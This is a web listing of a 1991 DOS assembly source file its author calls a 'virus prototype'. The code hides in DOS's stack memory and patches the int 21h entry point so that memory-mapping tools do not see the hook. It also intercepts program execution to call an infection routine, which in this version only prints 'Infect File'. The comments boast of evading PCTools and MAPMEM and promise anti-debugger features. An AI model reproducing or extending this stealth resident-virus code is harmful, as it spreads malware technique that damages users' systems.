home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / STACKVIR.ASM < prev    next >
Assembly Source File  |  1994-11-17  |  6KB  |  175 lines

  1. ;▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  2. ;▒                                        ▒
  3. ;▒          V I R U S   P R O T O T Y P E                 ▒
  4. ;▒                                        ▒
  5. ;▒   Author : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd ▒
  6. ;▒   Date   : 25 Jan 1991    21:05                        ▒
  7. ;▒   Function   : Found DOS stack in put himself in it. Then trace DOS        ▒
  8. ;▒        function EXEC and type 'Infect File'                        ▒
  9. ;▒                                        ▒
  10. ;▒                                        ▒
  11. ;▒   If you want to have fun with this program just run file STACK.COM    ▒
  12. ;▒  Don't worry, this is not a virus yet, just try to find him in memory      ▒
  13. ;▒  with PCTools and/or MAPMEM. If you can -> just erase the source - it is   ▒
  14. ;▒  useless for you. If you can't -> you don't have to look at it - it is too ▒
  15. ;▒  difficult to you to understand it.                        ▒
  16. ;▒                       Best regards, Waleri Todorov     ▒
  17. ;▒                                        ▒
  18. ;▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  19.  
  20.  
  21.         mov ah,52h      ; Get DOS segmenty
  22.         int 21h
  23.         cmp ax,1234h    ; Also check for already here
  24.         jne Install     ; If not -> install in memory
  25. ReturnControl
  26.         int 20h     ; This program will give control
  27.                     ; to main file
  28. Install
  29.         mov ax,es       ; mov DOS segment in AX
  30.         mov DosSeg,ax   ; Save DOS segment for further usage
  31.         mov ds,ax       ; DS now point in DOS segment
  32.         call    SearchDos   ; Search DOS entry point
  33.         call    SearchStack ; Search DOS stack
  34.         push    cs      ; DS=ES=CS
  35.         push    cs
  36.         pop ds
  37.         pop es
  38.         mov ax,DosSeg   ; get DOS segment in AX
  39.         mov cl,4        ; AX*=16
  40.         shl ax,cl
  41.         mov bx,StackOff ; Stack new begin in BX
  42.         and bx,0FFF0h   ; Mask low 4 bit
  43.         add ax,bx       ; Compute new real address
  44.         mov cl,4        ; AX/=16
  45.         shr ax,cl       ; Now we get SEGMENT:0000
  46.         sub ax,10h      ; Segment-=10-> SEG:100h
  47.         mov StackOff,ax ; Save new segment for further usage
  48.         mov es,ax       ; ES point in DOS New area
  49.         mov si,100h     ; ES:DI -> DOS:free_space_in_stack
  50.         mov di,si       ; DS:SI Current segment
  51.         mov cx,512d     ; Virus is only 512 bytes long
  52.         rep movsb       ; Move virus to new place
  53. ; Installing virus in DOS' stack we will avoid a conflict with PCTools,
  54. ; MAPMEM, and other sys software. Remark, that no one DOS buffer wasn't
  55. ; affected, so if you have program, that count DOS' buffers to found
  56. ; Beast666, she won't found anything.
  57. ; In further release of full virus I will include anti-debugger system,
  58. ; so you will not be able to trace virus
  59.         mov di,DosOff   ; ES:DI point to DOS int21 entry point
  60.         mov ax,DosSeg
  61.         mov es,ax
  62.         mov al,0EAh     ; JMP   XXXX:YYYY
  63.         stosb
  64.         mov ax,offset Entry21
  65.         stosw           ; New 21 handler's offset
  66.         mov ax,StackOff
  67.         stosw           ; New 21 handler's segment
  68.  
  69. ; Now DOS will make far jump to virus. In case that virus won't
  70. ; get vector 21 directly, MAPMEM-like utilities won't show int 21 catching,
  71. ; and DOSEDIT will operate correctly (with several virus he don't).
  72.         inc di
  73.         inc di
  74.         mov Int21off,di ; Virus will call DOS after jump
  75.         jmp ReturnControl   ; Return control to file
  76. ; At this moment, return control is just terminate program via int 20h.
  77. ; In further release of full virus this subroutine will be able to
  78. ; return control to any file (COM or EXE).
  79.  
  80. ; These are two scanners subroutine. All they do are scanning DOS segment
  81. ; for several well-known bytes. Then they update some iternal variables.
  82. ; Be patience, when debug this area!
  83. SearchDos
  84.         mov ax,cs:[DosSeg]
  85.         mov ds,ax
  86.         xor si,si
  87. Search1
  88.         lodsw
  89.         cmp ax,3A2Eh
  90.         je  NextDos1
  91.         dec si
  92.         jmp short Search1
  93. NextDos1
  94.         lodsb
  95.         cmp al,26h
  96.         je  LastDos
  97.         sub si,2
  98.         jmp short Search1
  99. LastDos
  100.         inc si
  101.         inc si
  102.         lodsb
  103.         cmp al,77h
  104.         je  FoundDos
  105.         sub si,5
  106.         jmp short Search1
  107. FoundDos
  108.         inc si
  109.         mov cs:[Int21off],si
  110.         sub si,7
  111.         mov cs:[DosOff],si
  112.         ret
  113. SearchStack
  114.         xor si,si
  115. Search2
  116.         lodsw
  117.         cmp ax,0CB8Ch
  118.         je  NextStack1
  119.         dec si
  120.         jmp short Search2
  121. NextStack1
  122.         lodsw
  123.         cmp ax,0D38Eh
  124.         je  NextStack2
  125.         sub si,3
  126.         jmp short Search2
  127. NextStack2
  128.         lodsb
  129.         cmp al,0BCh
  130.         je  FoundStack
  131.         sub si,4
  132.         jmp short Search2
  133. FoundStack
  134.         mov di,si
  135.         lodsw
  136.         sub ax,200h
  137.         stosw
  138.         mov cs:[StackOff],ax
  139.         ret
  140. Entry21                 ; Here is new int 21 handler
  141.         cmp ah,52h      ; If GET_LIST_OF_LISTS
  142.         jne NextCheck
  143.         mov ax,1234h    ; then probably I am here
  144.         mov bx,cs:[DosSeg]  ; so return special bytes in AX
  145.         mov es,bx
  146.         mov bx,26h
  147.         iret            ; Terminate AH=52h->return to caller
  148. NextCheck
  149.         cmp ax,4B00h    ; If EXEC file
  150.         jne GoDos
  151.         call    Infect      ; then file will be infected
  152. GoDos
  153.         jmp dword ptr cs:[Int21off]
  154.                     ; Otherwise jump to DOS
  155. Infect
  156.         push    ds      ; At this moment just write on screen
  157.         push    dx
  158.         push    ax
  159.         push    cs
  160.         pop ds
  161.         mov dx,offset Txt
  162.         mov ah,9
  163. CallDos
  164.         pushf           ; Call real DOS
  165.         call    dword ptr cs:[Int21off]
  166.         pop ax
  167.         pop dx
  168.         pop ds
  169.         ret
  170. Int21off    dw  0   ; Offset of DOS 21 AFTER jump to virus
  171. DosSeg      dw  0   ; DOS segment
  172. StackOff    dw  0   ; Offset of stack/New segment
  173. DosOff      dw  0   ; Offset of DOS 21 BEFIRE jump
  174. Txt     db  'Infect File$'  ; Dummy text
  175.